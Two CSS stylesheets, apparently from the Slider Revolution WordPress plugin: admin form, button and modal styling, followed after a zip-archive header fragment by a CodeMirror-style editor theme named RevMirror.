.rb-basicforms onefourth:last-child,
.rb-basicforms onefifth:last-child,
.rb-basicforms onethird:last-child { padding-right: 0px; }

.rb-basicforms label_icon,
.rb-basicforms label_bigicon {background: url(../images/UI-ICONS.png);  width: 30px;height: 30px; vertical-align: top; display: inline-block; color: transparent; background-size: 390px 420px; margin-right: 5px; }
.rb-basicforms label_bigicon {background: url(../images/UI-ICONS-BIG.png); width: 45px; height: 45px; background-size: 495px 225px; }
.rb-basicforms label_icon.singlerow,
.rb-basicforms onelong .label_mi.material-icons:first-child,
.rb-basicforms onelong label_icon:first-child { margin-left: 60px; }

.rb-basicforms oneshort .label_mi.material-icons { margin-left: 0px; }

.rb-basicforms longoption label_icon:first-child { margin-left: 5px; margin-top:3px;}

.rb-basicforms  i.label_icon.material-icons { margin-left: 60px; color: #fff; line-height: 30px !important; margin-right: 5px; font-size: 20px; text-align: center; width:30px; color:#b7bbc0;}

.rb-basicforms oneshort input[type=text],
.rb-basicforms oneshort input[type=number],
.rb-basicforms oneshort textarea,
.rb-basicforms input[type=text].shortfield,
.rb-basicforms input[type=number].shortfield,
.rb-basicforms onelong input[type=text],
.rb-basicforms onelong input[type=number],
.rb-basicforms onelong textarea {width:68px !important; min-width: 68px !important}

.rb-basicforms  input[type=text].miniinput,
.rb-basicforms  input[type=number].miniinput { width: 50px;margin-right: 15px; }

.rb-basicforms  input[type=text].smallinput,
.rb-basicforms  input[type=number].smallinput { width: 90px;}

.rb-basicforms  input[type=text].longinput,
.rb-basicforms  input[type=number].longinput { width: 270px;}


.rb-basicforms .fake_input,
.rb-basicforms input[type=text],
.rb-basicforms input[type=number] {line-height: 30px;height:30px; box-sizing:border-box; font-size: 13px;color: #b7bbc0;font-weight: 500;vertical-align: top; background: #2a2c2f; padding:0px 10px;}


.near_me_addon { position: absolute; top:5px; left: 30px; color: inherit; font-size: 12px !important; }
.toolkit_selector .near_me_addon { left: 28px; }

.label_mi.material-icons { width:30px; height:30px; text-align:center; color: #b7bbc0; font-size: 20px; margin-left: 15px; vertical-align: top; line-height:30px; margin-right: 5px;}

#rbm_blocksettings.rb-basicforms label_icon { margin-right: 10px; }

.rb-basicforms input[type=text].badvalue,
.rb-basicforms input[type=number].badvalue { color:#f82c90;  }


.rb-basicforms input[type=radio]:before { width:10px; height:10px; margin: 5px; }
.rb-basicforms input[type=radio]:before { background-color: #006dd2; width: 10px;height:10px; }
.rb-basicforms input[type=radio],
.rb-basicforms input[type=radio]:hover,
.rb-basicforms input[type=radio]:focus,
.rb-basicforms input[type=radio]:checked {  border:none;background: #2a2c2f;}


.rb-basicforms .radiooption { position: relative; box-sizing: border-box;display: inline-block; line-height: 25px }
.rb-basicforms .radiooption input[type=radio] { line-height: 25px; margin:5px 10px 0px -2px; vertical-align: top; z-index: 2; position: absolute; border-radius: 0px; width:100%; height:20px; opacity: 0 !important}

.rb-basicforms label_sub, .rb-basicforms .label_sub,
.rb-basicforms label_a, .rb-basicforms .label_a {
    line-height: 17px;
    padding: 7px 0px;
    vertical-align: top;
    display: inline-block;
    cursor: default;
    color: #222;
    font-weight: 500;
    margin-bottom: 0px;
    font-size: 12px;
    color: #777c80;
    width: 85px;
    text-align: right;
    margin-right: 15px;
    overflow: hidden;
    white-space: nowrap; 
}

.rb-basicforms label_sub, .rb-basicforms .label_sub { text-align: left; margin-right: 0px; width: auto;  }

.rb-basicforms .radiooption label_sub,
.rb-basicforms .radiooption .label_sub { line-height: 25px; vertical-align: top; padding: 2px 0px 0px; z-index:0; padding-left: 30px; position: relative; cursor: pointer;}

.rb-basicforms .radiooption label_sub:before, 
.rb-basicforms .radiooption .label_sub:before { content: " "; width:20px;height:20px; background:#2a2c2f; position: absolute;left:0px;top:5px; border-radius: 100%; box-sizing: border-box; border:5px solid #2a2c2f;}

.rb-basicforms input[type=radio]:checked + label_sub { color: #fff !important; }
.rb-basicforms input[type=radio]:checked + label_sub:before { background: #006dd2;  }

.rb-basicforms .ale_i_title.thumbnail_title { position: relative; width: 100%; }
.rb-basicforms .ale_i_title.thumbnail_title .tponoffwrap { position: absolute; right: 0px; top: 0px; margin-top: 10px }


.rb-basicforms .description,
.rb-basicforms label_info,
.rb-basicforms .label_info,
.rb-basicforms .function_info { color: #777c80;  font-size:14px; font-weight: 400; line-height: 20px; display:inline-block;}

.rb-basicforms .function_info a { color: inherit !important; }
.rb-basicforms .function_info a:hover { color: #fff !important; }

.rb-basicforms labelhalf .material-icons {
    font-size: 20px;
    color: #777c80;
}

.revslider_settings .revbuilder-colorpicker,
.rb-basicforms .revbuilder-colorpicker { vertical-align: top;margin-bottom: 5px;line-height: 30px;background: #2a2c2f;box-sizing: border-box;padding: 7px;height: 30px;border-radius: 3px;border: none;}

.revslider_settings .revbuilder-colorpicker .revbuilder-colorbox,
.rb-basicforms .revbuilder-colorpicker .revbuilder-colorbox
 {
    width: 16px;
    height: 16px;
    border: 1px solid rgba(255,255,255,0.15);
    border-radius: 0px;
    vertical-align: top;
}

.revslider_settings .revbuilder-colorpicker input,
.rb-basicforms .revbuilder-colorpicker input { width: 90px; margin: -7px 0px;line-height: 30px;height: 30px;box-sizing: border-box;font-size: 13px;color: #b7bbc0;font-weight: 500;vertical-align: top;background: #2a2c2f;padding: 0px 10px; border: none; box-shadow: none; outline:none;}

#slide_template_row .revbuilder-colorpicker,
#slide_template_row .revbuilder-colorpicker input { background: #edeff0; color: rgb(85, 93, 102); }

.revslider_settings .revbuilder-colorpicker .revbuilder-colorbtn,
.rb-basicforms .revbuilder-colorpicker .revbuilder-colorbtn { display: none }


.rb-basicforms .function_info_small {
						padding-left: 100px;
						font-style: italic;
						font-size: 11px;
						color: #777c80;
						line-height: 20px;
						display: inline-block;
					}

.global_custom_font_row { position: relative }
.global_custom_font_row .deletecustomglobalfont { display: inline-block;  position: absolute; right: -20px;top: 0px; opacity:0;}
.global_custom_font_row:hover .deletecustomglobalfont { opacity: 1; }

/*******************
LABEL ICONS GLOBAL
*******************/

._TPRB_ label_icon.ui_desktop   { background-position: -30px -150px; }
._TPRB_ label_icon.ui_notebook  { background-position: -60px -150px; }
._TPRB_ label_icon.ui_tablet  { background-position: -90px -150px; }
._TPRB_ label_icon.ui_mobile  { background-position: -120px -150px; }
._TPRB_ label_icon.ui_width     { background-position: -90px -60px; }
._TPRB_ label_icon.ui_height    { background-position: -120px -60px; }

._TPRB_ label_icon.ui_minwidth  { background-position: -150px -60px; }
._TPRB_ label_icon.ui_maxwidth  { background-position: -180px -60px; }
._TPRB_ label_icon.ui_minheight { background-position: -210px -60px; }
._TPRB_ label_icon.ui_maxheight { background-position: -240px -60px; }

._TPRB_ label_icon.ui_gap       { background-position: -180px -30px; }
._TPRB_ label_icon.ui_padding   { background-position: -240px -30px; }

._TPRB_ label_icon.ui_margin          { background-position: -180px -210px; }
._TPRB_ label_icon.ui_margin_top      { background-position: -210px -210px; }
._TPRB_ label_icon.ui_margin_right     { background-position: -240px -210px; }
._TPRB_ label_icon.ui_margin_bottom   { background-position: -270px -210px; }
._TPRB_ label_icon.ui_margin_left     { background-position: -300px -210px; }

._TPRB_ label_icon.ui_padding          { background-position: -30px -210px; }
._TPRB_ label_icon.ui_padding_top      { background-position: -60px -210px; }
._TPRB_ label_icon.ui_padding_right     { background-position: -90px -210px; }
._TPRB_ label_icon.ui_padding_bottom   { background-position: -120px -210px; }
._TPRB_ label_icon.ui_padding_left     { background-position: -150px -210px; }

/**************************
GUTENBERG BLOCK EXTENSION 
***************************/

.showHideButtons span, 
.rs_optimizer_button_wrapper span,
.rs_wp_plg_act_wrapper span {
  line-height: 28px;
}

.rs_wp_plg_act_wrapper span { font-size: 13px; text-align: center; font-weight: 400; display: block; }

.rs_optimizer_button_wrapper,
.rs_wp_plg_act_wrapper {
	border-color: #5e35b1;
    background: #5e35b1;
    color: #fff;
    border-radius: 2px;
    cursor: pointer;
    margin-top: 20px;
} 

.rs_optimizer_button,
.rs_wp_plg_act_button,
.rs_optimizer_button.components-button.is-default,
.rs_optimizer_button.components-button.is-secondary,
body:not(.wpb-js-composer) span:not(.vc_btn-content) i.revslider_vc_material-icons,
span:not(.vc_btn-content) .revslider_vc_material-icons.material-icons {
    margin-right: 0px;
    margin-bottom: 0px;    
    font-family: 'Material Icons';
    font-weight: normal;
    font-style: normal;
    display: inline-block;
    text-transform: none;
    letter-spacing: normal;
    word-wrap: normal;
    white-space: nowrap;
    direction: ltr;
    vertical-align: top;
    line-height: 27px;    
    -webkit-font-smoothing: antialiased;
    text-rendering: optimizeLegibility;
    -moz-osx-font-smoothing: grayscale;
    -webkit-font-feature-settings: 'liga';
    font-feature-settings: 'liga';
    font-feature-settings: 'liga';
    outline: none;
    border-radius: 0px;
    border: none;
    background-color: transparent;
    color: #fff;
    vertical-align: top;
    height: 28px;    
    box-shadow: none !important;
    padding:2px 10px;
}

.rs_optimizer_button.components-button.is-secondary:not(:disabled):not([aria-disabled=true]):hover,
.rs_optimizer_button:hover,
.rs_wp_plg_act_button:hover,
.rs_optimizer_button.components-button.is-default:hover,
.rs_optimizer_button.components-button.is-secondary:hover,
body:not(.wpb-js-composer) span:not(.vc_btn-content) i.revslider_vc_material-icons:hover,
span:not(.vc_btn-content) .revslider_vc_material-icons.material-icons:hover {
	border-color: #5e35b1;
    background: #5e35b1;
    color: #fff;
    box-shadow: none;    
    border-radius: 2px;    
}

/* 6.4.4 */
#visual_composer_content .revslider_vc_material-icons.material-icons,
.wpb-js-composer .revslider_vc_material-icons.material-icons {
  font-size: 18px;
  color: #fff;
}

.rs_optimizer_button_wrapper:hover {
	filter:brightness(110%);	
}

 

/* WP 5.4 Changes */
.rs_optimizer_button_wrapper, .rs_wp_plg_act_wrapper { margin: 20px auto; max-width: 247px; }
.revslider_vc_material-icons.material-icons { line-height: 16px !important; font-size: 18px; }

.rs_wp_plg_act_button:focus:enabled,
.rs_optimizer_button.components-button.is-default:focus:enabled,
.revslider_block .slider_editor_button.components-button.is-default:focus:enabled {  border-color: #5e35b1;background: #5e35b1;color: #fff; outline:none; box-shadow:none;}


.rs_optimizerButtons button.rs_optimizerOpen { margin-bottom: 0px; }

.rs_component_panel .components-panel__body-toggle.components-button:focus:not(:disabled):not([aria-disabled=true]),
.rs_optimizer_panel .components-panel__body-toggle.components-button { outline: none !important; }

.rs_wp_plg_act_wrapper:hover,
.rs_optimizer_button_wrapper:hover,
 {
 	-webkit-filter: brightness(120%);
    filter: brightness(120%);
 }

 .rs_component_panel .block-editor-block-card__title { font-size: 16px; font-weight: 600; }
 .rs_component_panel .editor-block-icon.block-editor-block-icon { height: 28px; }


 div.revslider_block .slider_edit_button { font-size: 13px; line-height: 26px; }

 .rb_not_on_notactive.disabled { pointer-events: none; opacity: 0.5 }


/*********************+*************
 - VISUAL COMPOSER STYLE CHANGE - 
*************************************/
.wpb_rev_slider .vc_general.vc_element-icon.icon-wpb-revslider,
.vc_general.vc_element-icon.icon-wpb-revslider { background: url(../images/rs6_number_2x.png); background-size: contain; }

.wpb_element_rev_slider_admin_wrap {     background: #e3e5e8;text-align: center;line-height: 0;margin-top: 20px; }
.wpb_element_rev_slider_admin_wrap  div {
	width: 267px;
    height: 150px;
    background-repeat: no-repeat;
    background-position: 50% 50%;
    background-size: cover;
    margin: 0 auto;
  }


/*********************+*************
 - ELEMNTOR STYLE CHANGES - 
*************************************/

.rs-elementor-component-tab .elementor-control-edit_slider .elementor-control-input-wrapper,
.rs-elementor-component-tab .elementor-control-settings_slider .elementor-control-input-wrapper,
.rs-elementor-component-tab .elementor-control-optimize_slider .elementor-control-input-wrapper,
.rs-elementor-component-tab .elementor-control-select_slider .elementor-control-input-wrapper { width: 100% !important; text-align: center;}
.rs-elementor-component-tab .elementor-control-select_slider .elementor-control-input-wrapper { margin-top: 15px; }
.rs-elementor-component-tab .elementor-button { background-color:#5e35b1 !important; color: #fff !important; font-size: 11px; font-weight: 400; line-height: 29px; vertical-align: top;padding: 0px 20px; height: 29px; width: 200px; }
.rs-elementor-component-tab .elementor-button i.material-icons { margin-right: 5px; font-size:16px; line-height: 28px; vertical-align: top; }

.rs-elementor-component-tab .elementor-button:hover {
 	-webkit-filter: brightness(120%);
    filter: brightness(120%);
 }



/******************+
- BLOCK MODAL -
********************/

#rbm_blocksettings { min-height: 580px; }
#rbm_blocksettings .offset_list { padding-left: 50px; margin-bottom: 10px; }
#rbm_blocksettings .offset_list label_icon { margin-right: 35px;  }

._TPRB_ .origlayout { display: inline-block; line-height: 28px; color: #777c80;font-size: 12px; margin-left: 5px; margin-top: -2px; vertical-align: top; }


/******************+
- POST OPTIONS -
********************/

#slide_template_row .slide_template_column { width: 50%; float: left; }
#slide_template_row .setting_text { margin-bottom: 4px;}


/******************+
- MEMBERS AREA -
********************/
._TPRB_ #rs_welcome_header_area {position: relative;width: auto;}

/*._TPRB_ #rs_memarea,
._TPRB_ #rs_memarea:hover,
._TPRB_ #rs_memarea:focus,*/
._TPRB_ #rs_memarea_registered i { width: 17px; overflow: hidden; }
._TPRB_ #rs_memarea_registered,
._TPRB_ #rs_memarea_registered:hover,
._TPRB_ #rs_memarea_registered:focus  {box-shadow: 0px 11px 30px 0px rgba(0,0,0,0.5);border-radius: 4px;position: absolute;cursor: pointer;outline: none !important;right: 0px;top: 15px;line-height: 40px !important;font-size: 15px; width:180px;}

/*._TPRB_ #rs_memarea,
._TPRB_ #rs_memarea:hover,
._TPRB_ #rs_memarea:focus { width: 480px;height: 70px;background: url(../images/membersarea.jpg);background-size: cover;right: 0px;top: 0px;}*/


/*._TPRB_ #rs_memarea:hover,*/
._TPRB_ #rs_memarea_registered:hover {filter: brightness(110%);}



/******************************
  - ToolBox -
********************************/
#rb_maininfo_wrap           { position: fixed;top:0px;right:0px;z-index: 1900002; }
#eg-toolbox-wrapper         { position: fixed;top: 40px;right: 15px;z-index:1900002;}
.eg-toolbox                 { padding: 15px 20px 15px 60px;background: #3f444a;color: #fff;max-width:400px;cursor: pointer;position:relative; font-weight: 400; font-size: 14px; box-shadow:0px 3px 10px 0px rgba(0,0,0,0.25); font-family: "Roboto"; }
.eg-toolbox>.material-icons { font-size: 20px; position:absolute;top:50%;left:15px;transform:translateY(-50%); color:#fff; width:30px; height:30px; text-align: center; line-height: 30px !important; border-radius: 15px;}
.eg-toolbox .material-icons.goodtoknow { background-color:#5e35b1; font-size: 16px}
.eg-toolbox .material-icons.info { background-color:#3498db;}
.eg-toolbox .material-icons.cancel { background-color:#ba0000}
.eg-toolbox .material-icons.ok   { background-color:#00b900}
#rbm_activate_slider.eg-toolbox { position:relative;cursor:default; max-width:480px; width: 480px; min-height: 480px;  background: url(../images/modal_bg.jpg); background-size: cover; box-sizing: border-box; padding:45px 45px 150px;}
#rbm_activate_slider_deco { cursor:default; width: 480px; height: 150px;  background: url(../images/modal_asset2x.jpg); background-size: cover; box-sizing: border-box; position:absolute; bottom:0px;left:0px;}
.rbmas_title  { font-size: 25px; color: #fff; line-height: 30px; font-weight: 600; text-align: center; margin-bottom: 20px;  }
.rbmas_benef { font-size: 14px; color: rgba(255,255,255,0.5); font-weight: 400; line-height: 20px; padding-left:100px;}
.rbmas_benef i.material-icons { margin-right: 20px; font-size: 17px; line-height: inherit !important}
.rbmas_close { position: absolute; right: 10px; top: 10px; font-size: 17px; color: #b7bbc0; cursor: pointer }
.rbmas_close:hover { color: #fff; }
.rbmas_def_page      {display: block;}
.rbmas_activate_page {display:none;}
.rbmas_solidtitle { font-weight: 600; font-size: 17px; }
.rbmas_solidtext { color: rgba(255,255,255,0.5); font-size: 14px; font-weight: 400; line-height: 20px }

.rbmas_show_activate .rbmas_def_page { display: none; }
.rbmas_show_activate .rbmas_activate_page { display: block; }

#rbmas_purchasekey  {    font-size: 17px;font-weight: 600;color:rgba(255,255,255,0.25); display: block;width: 100%;background: #2a2c2e;line-height: 50px;border: none;outline: none;box-shadow: none;padding: 0px 20px;border-radius: 4px;text-align: center;margin-bottom: 10px; }
#rbmas_purchasekey::-webkit-input-placeholder  { color:rgba(255,255,255,0.25);}
#rbmas_purchasekey::-moz-placeholder           { color:rgba(255,255,255,0.25);}
#rbmas_purchasekey:-ms-input-placeholder       { color:rgba(255,255,255,0.25);}
#rbmas_purchasekey:-moz-placeholder            { color:rgba(255,255,255,0.25);}

#rbmas_activateplugin i.material-icons { margin-right: 10px; }

.iblocktop { vertical-align: top; display: inline-block }
.dcenter { display: block; text-align: center; margin: 0px auto; list-style: none; padding:0px;}

#rb_maininfo_wrap bluebutton { display:block; background:#006dd2; width: 100%; text-align: center; line-height: 50px; color: #fff; font-weight: 400;  font-size:17px;  cursor: pointer}
#rb_maininfo_wrap purplebutton { display:block; background:#642fb4; width: 100%; text-align: center; line-height: 50px; color: #fff; font-weight: 400;  font-size:17px;  cursor: pointer; border-radius: 4px}

#rb_maininfo_wrap bluebutton,
#rb_maininfo_wrap purplebutton,
#rb_maininfo_wrap graybutton { display:block; background:#393e45; width: 100%; text-align: center; line-height: 50px; color: #fff; font-weight: 400;  font-size:17px;  cursor: pointer; border-radius: 4px}

#rb_maininfo_wrap bluebutton { background:#006dd2;}
#rb_maininfo_wrap purplebutton,
._TPRB_ .basic_action_coloredpurplebutton { background:#642fb4;}
._TPRB_ .basic_action_coloredpurplebutton:hover { background:#642fb4 !important; filter: brightness(110%); }

#rb_maininfo_wrap purplebutton i.material-icons,
#rb_maininfo_wrap bluebutton i.material-icons { line-height: inherit }

._TPRB_ solidiconbox { margin-bottom:15px;width: 25px; height: 30px; display: inline-block; background:transparent; color:#5e35b1; text-align: center; line-height: 30px; font-size: 18px; margin-right:20px; vertical-align: top;}
._TPRB_ .pli_twoline_wp { display: inline-block; line-height: 15px;  }

._TPRB_ .pli_twoline_wp .dynamicval.pli_subtitle { font-weight: 600; color: #000; }
._TPRB_ label.rs_wp_ppset { line-height: 30px; margin-right: 20px; width: 100px;  display: inline-block}

._TPRB_ #slide_template_row .fake_onff_on, 
#slide_template_row .tponoff_on { background: #5e35b1; }
#slide_template_row .tponoffwrap.off, 
#slide_template_row .tponoff_off { background: #edeff0; }

.edit-post-meta-boxes-area #poststuff #slider_revolution_metabox h2.hndle {  border-bottom:none; font-size: 13px; font-weight: 600;color:#191e23;}
.edit-post-meta-boxes-area #poststuff #slider_revolution_metabox.closed h2.hndle,
.interface-interface-skeleton__sidebar #slider_revolution_metabox.closed h2.hndle { border-bottom: none !important; }


.interface-interface-skeleton__sidebar #slider_revolution_metabox .postbox-header {
	border-bottom: none !important;
}

.interface-interface-skeleton__sidebar #poststuff #slider_revolution_metabox h2.hndle {
	border-bottom: none;
	font-size: 13px;
	color: #1e1e1e;
	font-weight: 500;
}


.edit-post-meta-boxes-area #poststuff #slider_revolution_metabox:hover h2.hndle,
.interface-interface-skeleton__sidebar #poststuff #slider_revolution_metabox:hover .postbox-header
{
	background-color: #f3f4f5!important;
}


.edit-post-meta-boxes-area #poststuff #slider_revolution_metabox {
	margin-top: -2px;
    border-top: 1px solid #e2e4e7;
    border-bottom: 1px solid #e2e4e7;
     margin-bottom: -2px;
}
.interface-interface-skeleton__sidebar .edit-post-meta-boxes-area #poststuff #slider_revolution_metabox {
	margin-top: -2px;
    border-top: 1px solid #f0f0f0;
    border-bottom: 1px solid #f0f0f0;
     margin-bottom: -2px;
}

.edit-post-meta-boxes-area #poststuff #slider_revolution_metabox >button span { opacity: 0; }
.interface-interface-skeleton__sidebar #slider_revolution_metabox button.handlediv,
.edit-post-meta-boxes-area #poststuff #slider_revolution_metabox >button  {
	background-position: center center !important;
	background-repeat: no-repeat  !important;
	background-size: 18px 18px  !important;
	background-image:url(data:image/svg+xml;charset=US-ASCII,%3Csvg%20width%3D%2220%22%20height%3D%2220%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M5%206l5%205%205-5%202%201-7%207-7-7%202-1z%22%20fill%3D%22%23555%22%2F%3E%3C%2Fsvg%3E)  !important;
	transform: rotateZ(180deg)  !important;
	box-shadow: none !important;
	position: relative;
    z-index: 10;
    
}

.interface-interface-skeleton__sidebar #slider_revolution_metabox button.handlediv {
	width: 57px;
}

.edit-post-meta-boxes-area #poststuff #slider_revolution_metabox.closed >button,
.interface-interface-skeleton__sidebar #slider_revolution_metabox.closed button.handlediv {
	transform: rotateZ(0deg)  !important;
}

.interface-interface-skeleton__sidebar #slider_revolution_metabox button.handlediv .toggle-indicator,
.block-editor-editor-skeleton__sidebar #slider_revolution_metabox >button .toggle-indicator 
{
	display: none;
}

.interface-interface-skeleton__sidebar #slider_revolution_metabox .handle-order-higher,
.interface-interface-skeleton__sidebar #slider_revolution_metabox .handle-order-lower {
	display: none !important;
}
PK�y3\�R�%�%assets/css/RevMirror.cssnu�[���/* BASICS */

.RevMirror {
  /* Set height, width, borders, and global font properties here */
  font-family: monospace;
  height: 300px;
  color: black;
  direction: ltr;
}

/* PADDING */

.RevMirror-lines {
  padding: 4px 0; /* Vertical padding around content */
}
.RevMirror pre {
  padding: 0 4px; /* Horizontal padding of content */
}

.RevMirror-scrollbar-filler, .RevMirror-gutter-filler {
  background-color: white; /* The little square between H and V scrollbars */
}

/* GUTTER */

.RevMirror-gutters {
  border-right: 1px solid #ddd;
  background-color: #f7f7f7;
  white-space: nowrap;
}
.RevMirror-linenumbers {}
.RevMirror-linenumber {
  padding: 0 3px 0 5px;
  min-width: 20px;
  text-align: right;
  color: #999;
  white-space: nowrap;
}

.RevMirror-guttermarker { color: black; }
.RevMirror-guttermarker-subtle { color: #999; }

/* CURSOR */

.RevMirror-cursor {
  border-left: 1px solid black;
  border-right: none;
  width: 0;
}
/* Shown when moving in bi-directional text */
.RevMirror div.RevMirror-secondarycursor {
  border-left: 1px solid silver;
}
.cm-fat-cursor .RevMirror-cursor {
  width: auto;
  border: 0 !important;
  background: #7e7;
}
.cm-fat-cursor div.RevMirror-cursors {
  z-index: 1;
}
.cm-fat-cursor-mark {
  background-color: rgba(20, 255, 20, 0.5);
  -webkit-animation: blink 1.06s steps(1) infinite;
  -moz-animation: blink 1.06s steps(1) infinite;
  animation: blink 1.06s steps(1) infinite;
}
.cm-animate-fat-cursor {
  width: auto;
  border: 0;
  -webkit-animation: blink 1.06s steps(1) infinite;
  -moz-animation: blink 1.06s steps(1) infinite;
  animation: blink 1.06s steps(1) infinite;
  background-color: #7e7;
}
@-moz-keyframes blink {
  0% {}
  50% { background-color: transparent; }
  100% {}
}
@-webkit-keyframes blink {
  0% {}
  50% { background-color: transparent; }
  100% {}
}
@keyframes blink {
  0% {}
  50% { background-color: transparent; }
  100% {}
}

/* Can style cursor different in overwrite (non-insert) mode */
.RevMirror-overwrite .RevMirror-cursor {}

.cm-tab { display: inline-block; text-decoration: inherit; }

.RevMirror-rulers {
  position: absolute;
  left: 0; right: 0; top: -50px; bottom: -20px;
  overflow: hidden;
}
.RevMirror-ruler {
  border-left: 1px solid #ccc;
  top: 0; bottom: 0;
  position: absolute;
}

/* DEFAULT THEME */

.cm-s-default .cm-header {color: blue;}
.cm-s-default .cm-quote {color: #090;}
.cm-negative {color: #d44;}
.cm-positive {color: #292;}
.cm-header, .cm-strong {font-weight: bold;}
.cm-em {font-style: italic;}
.cm-link {text-decoration: underline;}
.cm-strikethrough {text-decoration: line-through;}

.cm-s-default .cm-keyword {color: #708;}
.cm-s-default .cm-atom {color: #219;}
.cm-s-default .cm-number {color: #164;}
.cm-s-default .cm-def {color: #00f;}
.cm-s-default .cm-variable,
.cm-s-default .cm-punctuation,
.cm-s-default .cm-property,
.cm-s-default .cm-operator {}
.cm-s-default .cm-variable-2 {color: #05a;}
.cm-s-default .cm-variable-3, .cm-s-default .cm-type {color: #085;}
.cm-s-default .cm-comment {color: #a50;}
.cm-s-default .cm-string {color: #a11;}
.cm-s-default .cm-string-2 {color: #f50;}
.cm-s-default .cm-meta {color: #555;}
.cm-s-default .cm-qualifier {color: #555;}
.cm-s-default .cm-builtin {color: #30a;}
.cm-s-default .cm-bracket {color: #997;}
.cm-s-default .cm-tag {color: #170;}
.cm-s-default .cm-attribute {color: #00c;}
.cm-s-default .cm-hr {color: #999;}
.cm-s-default .cm-link {color: #00c;}

.cm-s-default .cm-error {color: #f00;}
.cm-invalidchar {color: #f00;}

.RevMirror-composing { border-bottom: 2px solid; }

/* Default styles for common addons */

div.RevMirror span.RevMirror-matchingbracket {color: #0b0;}
div.RevMirror span.RevMirror-nonmatchingbracket {color: #a22;}
.RevMirror-matchingtag { background: rgba(255, 150, 0, .3); }
.RevMirror-activeline-background {background: #e8f2ff;}

/* STOP */

/* The rest of this file contains styles related to the mechanics of
   the editor. You probably shouldn't touch them. */

.RevMirror {
  position: relative;
  overflow: hidden;
  background: white;
}

.RevMirror-scroll {
  overflow: scroll !important; /* Things will break if this is overridden */
  /* 30px is the magic margin used to hide the element's real scrollbars */
  /* See overflow: hidden in .RevMirror */
  margin-bottom: -30px; margin-right: -30px;
  padding-bottom: 30px;
  height: 100%;
  outline: none; /* Prevent dragging from highlighting the element */
  position: relative;
}
.RevMirror-sizer {
  position: relative;
  border-right: 30px solid transparent;
}

/* The fake, visible scrollbars. Used to force redraw during scrolling
   before actual scrolling happens, thus preventing shaking and
   flickering artifacts. */
.RevMirror-vscrollbar, .RevMirror-hscrollbar, .RevMirror-scrollbar-filler, .RevMirror-gutter-filler {
  position: absolute;
  z-index: 6;
  display: none;
}
.RevMirror-vscrollbar {
  right: 0; top: 0;
  overflow-x: hidden;
  overflow-y: scroll;
}
.RevMirror-hscrollbar {
  bottom: 0; left: 0;
  overflow-y: hidden;
  overflow-x: scroll;
}
.RevMirror-scrollbar-filler {
  right: 0; bottom: 0;
}
.RevMirror-gutter-filler {
  left: 0; bottom: 0;
}

.RevMirror-gutters {
  position: absolute; left: 0; top: 0;
  min-height: 100%;
  z-index: 3;
}
.RevMirror-gutter {
  white-space: normal;
  height: 100%;
  display: inline-block;
  vertical-align: top;
  margin-bottom: -30px;
}
.RevMirror-gutter-wrapper {
  position: absolute;
  z-index: 4;
  background: none !important;
  border: none !important;
}
.RevMirror-gutter-background {
  position: absolute;
  top: 0; bottom: 0;
  z-index: 4;
}
.RevMirror-gutter-elt {
  position: absolute;
  cursor: default;
  z-index: 4;
}
.RevMirror-gutter-wrapper ::selection { background-color: transparent }
.RevMirror-gutter-wrapper ::-moz-selection { background-color: transparent }

.RevMirror-lines {
  cursor: text;
  min-height: 1px; /* prevents collapsing before first draw */
}
.RevMirror pre {
  /* Reset some styles that the rest of the page might have set */
  -moz-border-radius: 0; -webkit-border-radius: 0; border-radius: 0;
  border-width: 0;
  background: transparent;
  font-family: inherit;
  font-size: inherit;
  margin: 0;
  white-space: pre;
  word-wrap: normal;
  line-height: inherit;
  color: inherit;
  z-index: 2;
  position: relative;
  overflow: visible;
  -webkit-tap-highlight-color: transparent;
  -webkit-font-variant-ligatures: contextual;
  font-variant-ligatures: contextual;
}
.RevMirror-wrap pre {
  word-wrap: break-word;
  white-space: pre-wrap;
  word-break: normal;
}

.RevMirror-linebackground {
  position: absolute;
  left: 0; right: 0; top: 0; bottom: 0;
  z-index: 0;
}

.RevMirror-linewidget {
  position: relative;
  z-index: 2;
  padding: 0.1px; /* Force widget margins to stay inside of the container */
}

.RevMirror-widget {}

.RevMirror-rtl pre { direction: rtl; }

.RevMirror-code {
  outline: none;
}

/* Force content-box sizing for the elements where we expect it */
.RevMirror-scroll,
.RevMirror-sizer,
.RevMirror-gutter,
.RevMirror-gutters,
.RevMirror-linenumber {
  -moz-box-sizing: content-box;
  box-sizing: content-box;
}

.RevMirror-measure {
  position: absolute;
  width: 100%;
  height: 0;
  overflow: hidden;
  visibility: hidden;
}

.RevMirror-cursor {
  position: absolute;
  pointer-events: none;
}
.RevMirror-measure pre { position: static; }

div.RevMirror-cursors {
  visibility: hidden;
  position: relative;
  z-index: 3;
}
div.RevMirror-dragcursors {
  visibility: visible;
}

.RevMirror-focused div.RevMirror-cursors {
  visibility: visible;
}

.RevMirror-selected { background: #d9d9d9; }
.RevMirror-focused .RevMirror-selected { background: #d7d4f0; }
.RevMirror-crosshair { cursor: crosshair; }
.RevMirror-line::selection, .RevMirror-line > span::selection, .RevMirror-line > span > span::selection { background: #d7d4f0; }
.RevMirror-line::-moz-selection, .RevMirror-line > span::-moz-selection, .RevMirror-line > span > span::-moz-selection { background: #d7d4f0; }

.cm-searching {
  background-color: #ffa;
  background-color: rgba(255, 255, 0, .4);
}

/* Used to force a border model for a node */
.cm-force-border { padding-right: .1px; }

@media print {
  /* Hide the cursor when printing */
  .RevMirror div.RevMirror-cursors {
    visibility: hidden;
  }
}

/* See issue #2901 */
.cm-tab-wrap-hack:after { content: ''; }

/* Help users use markselection to safely style text background */
span.RevMirror-selectedtext { background: none; }


.cm-s-hopscotch.RevMirror {background: #322931; color: #d5d3d5;}
.cm-s-hopscotch div.RevMirror-selected {background: #433b42 !important;}
.cm-s-hopscotch .RevMirror-gutters {background: #322931; border-right: 0px;}
.cm-s-hopscotch .RevMirror-linenumber {color: #797379;}
.cm-s-hopscotch .RevMirror-cursor {border-left: 1px solid #989498 !important;}

.cm-s-hopscotch span.cm-comment {color: #b33508;}
.cm-s-hopscotch span.cm-atom {color: #c85e7c;}
.cm-s-hopscotch span.cm-number {color: #c85e7c;}

.cm-s-hopscotch span.cm-property, .cm-s-hopscotch span.cm-attribute {color: #8fc13e;}
.cm-s-hopscotch span.cm-keyword {color: #dd464c;}
.cm-s-hopscotch span.cm-string {color: #fdcc59;}

.cm-s-hopscotch span.cm-variable {color: #8fc13e;}
.cm-s-hopscotch span.cm-variable-2 {color: #1290bf;}
.cm-s-hopscotch span.cm-def {color: #fd8b19;}
.cm-s-hopscotch span.cm-error {background: #dd464c; color: #fff;}
